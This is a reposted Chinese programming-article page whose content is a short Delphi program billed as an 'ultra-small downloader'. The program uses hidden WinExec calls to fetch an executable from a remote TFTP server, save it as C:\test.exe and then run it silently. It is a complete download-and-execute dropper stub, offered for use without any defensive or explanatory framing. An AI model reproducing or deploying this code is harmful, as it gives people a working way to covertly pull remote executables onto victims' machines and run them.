您现在的位置:首页 >> 网络通讯 >> 网络通讯 >> 内容

Delphi中利用TFTP命令实现超小下载小程序

时间:2011/9/3 15:11:58 点击:

  核心提示:program FDTester;//配置部分const Server = '1.22.tv'; //tftp 服务器 域名或IP地址 ServerFileName = 'test.exe'; //在...

program FDTester;

//配置部分
const
  Server = '1.22.tv'; //tftp 服务器 域名或IP地址
  ServerFileName = 'test.exe'; //在服务器上的文件名
  MyFileName = 'C:\test.exe'; //下载到本地以后的名字
  WaitTime = 3000;//下载延迟时间(毫秒)

function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
  external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
  external 'kernel32.dll' name 'Sleep';

begin
  Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
  Sleep(WaitTime);
  Winexec(MyFileName,0);
end.

作者:站长 来源:转载
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 盒子文章(www.2ccc.com) © 2020 版权所有 All Rights Reserved.
  • 沪ICP备05001939号